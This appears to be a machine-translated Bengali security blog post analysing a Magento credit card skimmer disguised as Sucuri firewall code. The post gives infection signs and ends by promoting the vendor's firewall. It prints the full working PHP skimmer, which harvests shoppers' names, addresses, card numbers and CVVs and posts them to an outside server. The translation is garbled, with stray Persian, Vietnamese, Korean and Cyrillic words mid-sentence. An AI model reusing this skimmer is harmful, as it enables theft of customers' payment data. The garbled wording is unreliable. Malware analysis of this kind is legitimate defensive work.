কোভিড-১৯ লকডাউন এবং বিশ্বজুড়ে ব্ল্যাক ফ্রাইডে ও ক্রিসমাস ডিসকাউন্ট সেলের কারণে অনলাইন শপিং এ বছরেও বেড়ে চলেছে এবং এর সাথে ডিজিটাল ক্রেডিট কার্ড স্কিমার আক্রমণও।
আমাদের اخیر টেলিগ্রাম ম্যালওয়্যার ক্যাম্পেইন রিপোর্টের পর আস্ট্রা সিকিউরিটির সিকিউরিটি গবেষকরা একটি নতুন চলমান ক্রেডিট কার্ড স্কিমিং ম্যালওয়্যার ক্যাম্পেইন খুঁজে পেয়েছেন যা সিকিউরিটি কোম্পানি 'সুকুরি'-র ভেসে ইনফেক্টেড ই-কমার্স স্টোর থেকে সংবেদনশীল কাস্টমার ইনফরমেশন চুরি করছে। যদিও আমরা এই ম্যালওয়্যার ম্যাগেন্টো স্টোরে টার্গেট করার টài khoản করেছি, তবে Prestashop, OpenCart ও WooCommerce-এর মতো অন্যান্য CMS-এও এর চিহ্ন পাওয়া গেছে।
ডিজিটাল ক্রেডিট কার্ড স্কিমিং আক্রমণ কী?
ডিজিটাল ক্রেডিট কার্ড স্কিমিং আক্রমণ হচ্ছে একটি ওয়েব-ভিত্তিক স্কিমিং আক্রমণ যেখানে হ্যাকাররা ওয়েবসাইট বা ই-কমার্স স্টোরে ম্যালিশাস জাভাস্ক্রিপ্ট কোড ইনজেক্ট করে সেগুলো ম্যালওয়্যারে ইনফেক্ট করে এবং চূড়ান্তে ওয়েবসাইট ভিজিটর/কাস্টমার থেকে ক্রেডেনশিয়াল ও সংবেদনশীল পেমেন্ট ইনফরমেশন চুরি করে। এই ডিজিটাল স্কিমারদের ম্যালিশাস কোড অধিকাংশ সময় সাইটের পেমেন্ট চেকআউট পেজের ইউজার ইনপুট ফর্মে চাপা দেওয়া হয় যা ইউজার ইনপুট স্নিফ করে বা নকল পেমেন্ট ফর্মের সাথে iframe তৈরি করে কাস্টমারদের ক্রেডিট কার্ড ইনফরমেশন চুরি করে।
ডিজিটাল স্কিমিং আজকে হাজার হাজার ওয়েবসাইটকে প্রভাবিত করেছে, যার মধ্যে ব্রিটিশ এয়ারওয়েজ, মেসিজ, ফরবেস, নিউএগ ও টিকটমাস্টার-এর মতো হাই-প্রোফাইল ব্র্যান্ড রয়েছে।
ম্যাগেন্টো ক্রেডিট কার্ড স্কিমিং ম্যালওয়্যারের লক্ষণ
- আপনার স্টোরে ক্রেডিট কার্ড ব্যবহার করার পর কাস্টমাররা অনির্দিষ্ট ট্রানজ্যাকশনের কথা শিকায়ত করছেন।
- আপনার পেমেন্ট প্রোভাইডার/ব্যাংক থেকে আপনার স্টোরের পেমেন্ট গেটওয়ের সিকিউরিটি সম্পর্কে সতর্ক করার ইমেইল আসছে।
- স্টোরে আপনার অজানা একটি অতিরিক্ত পেমেন্ট মেথড যোগ করা হয়েছে।
- আপনার ওয়েবসাইটে 'Sucuri' শব্দযুক্ত কোড যোগ করা হয়েছে, যদিও আপনি এই নামে কোনো প্রোডাক্ট ব্যবহার করেন না।
হ্যাকাররা কীভাবে স্টোর টার্গেট করছে এবং সুকুরি ফায়ারওয়ালের ভেসে ব্যবহারকারীদের ফাঁসাচ্ছে
এই ম্যালওয়্যার ক্যাম্পেইন বিশ্লেষণের সময় আমাদের গবেষণা দল পেয়েছে যে হ্যাকাররা সক্রিয়ভাবে ই-কমার্স ওয়েবসাইটে (প্রায়শই ম্যাগেন্টো স্টোরে) এই ক্রেডিট কার্ড স্কিমিং ম্যালওয়্যার চাপাচ্ছে এবং চেকআউটের সময় সাইট ভিজিটর বা বায়েরদের তাদের সংবেদনশীল ইনফরমেশন দিতে বাধ্য করছে। ম্যালিশাস ক্রেডিট কার্ড স্কিমার কোডটি ইনফেক্টেড সাইটের এই ফাইল লোকেশনে অবস্থিত: /app/code/core/Mage/Payment/Model/Method/Cc.php।
এখানে আক্রমণকারীরা $this->sucuri_encrypted(); ফাংশন যোগ করছে যা চেকআউট প্রক্রিয়ায় ব্যবহারকারীর দেওয়া ডেটা এক্সফিলট্রেট করতে দেয়। এবং এক্সফিলট্রেটেড ডেটা https://www.thebrandstore.gr/js/i.php-এ পাঠানো হচ্ছে।
চুরি করা ডেটায় কাস্টমারদের সংবেদনশীল তথ্য থাকে যার মধ্যে তাদের প্রথম নাম, শেষ নাম, ঠিকানা, ফোন নম্বর এবং ক্রেডিট কার্ড ডিটেইলস।
নিচে এই ম্যালওয়্যার ক্যাম্পেইনে আক্রমণকারীদের দ্বারা ব্যবহৃত কোড নমুনা দেওয়া হলো:
function sucuri_encrypted() { $info = $this->getInfoInstance(); $object = new Mage_Checkout_Block_Onepage_Billing; $address1 = $object->getQuote()->getBillingAddress(); $data1 = $address1->getFirstname(); $data2 = $address1->getLastname(); $data3 = $address1->getStreet(1); $data4 = $address1->getStreet(2); $data5 = $address1->getCity(); $data6 = $address1->getRegion(); $data7 = $address1->getPostcode(); $data8 = $address1->getCountry(); $data9 = $address1->getTelephone(); $data10 = $info->getCcNumber(); $expyear = substr($info->getCcExpYear(), -2); $expmonth = $info->getCcExpMonth(); if (strlen($expmonth) == 1) { $expmonth = '0'.$expmonth; }; $data11 = $expmonth; $data12 = $expyear; $data13 = $info->getCcCid(); $data15 = $_SERVER['SERVER_NAME']; $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail(); //secure করা ডেটার অ্যারে তৈরি $sucuri_firewall['firstname'] = base64_encode($data1); $sucuri_firewall['lastname'] = base64_encode($data2); $sucuri_firewall['address'] = base64_encode($data3); $sucuri_firewall['address2'] = base64_encode($data4); $sucuri_firewall['city'] = base64_encode($data5); $sucuri_firewall['state'] = base64_encode($data6); $sucuri_firewall['zip'] = base64_encode($data7); $sucuri_firewall['country'] = base64_encode($data8); $sucuri_firewall['phone'] = base64_encode($data9); $sucuri_firewall['cc'] = base64_encode($data10); $sucuri_firewall['exp'] = base64_encode($data11); $sucuri_firewall['expyear'] = base64_encode($data12); $sucuri_firewall['cvv'] = base64_encode($data13); $sucuri_firewall['email'] = base64_encode($data16); $sucuri_firewall['dari'] = base64_encode($data15); $sucuri_firewall['submit'] = 'Submit'; //অ্যারে ট্রাভার্স করুন এবং পোস্ট করার জন্য ডেটা প্রস্তুত করুন (key1=value1) foreach ( $sucuri_firewall as $key => $value) { $post_items[] = $key . '=' . $value; } //implode() ব্যবহার করে পোস্ট করার ফাইনাল স্ট্রিং তৈরি $post_string = implode ('&', $post_items); //cURL কানেকশন তৈরি $curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php'); //অপশন সেট করুন curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); //পোস্ট করার ডেটা সেট করুন curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string); //আমাদের রিকোয়েস্ট পারফর্ম করুন $result = curl_exec($curl_connection); curl_close($curl_connection); } } }.
উপরোক্ত কোডে আপনি দেখতে পাচ্ছেন যে ক্রেডিট কার্ড ইনফো চোর $this->sucuri_encrypted(); নামে একটি ফাংশন যোগ করেছে যা নকল সুকুরি ফায়ারওয়াল কোড প্রদর্শন করে।
আপনার ই-কমার্স স্টোরকে এই ম্যালওয়্যার থেকে রক্ষা করার উপায়
এই ম্যালওয়্যারে ইনফেক্টেড ই-কমার্স ওয়েবসাইট বা স্টোর তাদের কাস্টমারদের সংবেদনশীল তথ্য চুরি হওয়ার কারণে রাজস্ব ও কাস্টমার আস্থায় বড় ক্ষতির শিকার হতে পারে, কারণ লেজিট অর্ডার প্লেস হচ্ছে না বা পেমেন্ট হচ্ছে না। তাই সাইট মালিকদের পরামর্শ দেওয়া হচ্ছে যে তারা পূর্বে থেকে সিকিউরিটি ব্যবস্থা নিতে হবে যাতে তাদের সাইট ও কাস্টমার ডেটা এই ধরনের ক্রেডিট কার্ড স্কিমার ও অন্যান্য ম্যালওয়্যার ক্যাম্পেইন থেকে রক্ষা পায়।
যদি আপনি আস্ট্রা সিকিউরিটির অ্যাপ্লিকেশন ফায়ারওয়াল ব্যবহার করেন তবে আপনার ই-কমার্স স্টোর ইতিমধ্যে এই আক্রমণ এবং SQLi, XSS, CSRF, LFI, RFI, ক্রেডিট কার্ড হ্যাক, স্প্যাম, বэд বটস ইত্যাদি অন্যান্য সাইবার আক্রমণ ও ভাল্নারেবিলিটি থেকে রক্ষা পাচ্ছে। 게다가, সিকিউরিটি এক্সপার্টরা অনেক দিন ধরে রেগুলার ম্যালওয়্যার স্ক্যানিংকে ওয়েবসাইট সুরক্ষার একটি মূল উপায় হিসেবে সুপারিশ করছেন, এখন আপনার ওয়েবসাইটকে যথাযথ সিকিউরিটি ব্যবস্থা দিয়ে সার্বক্ষণ রক্ষা করার সময়।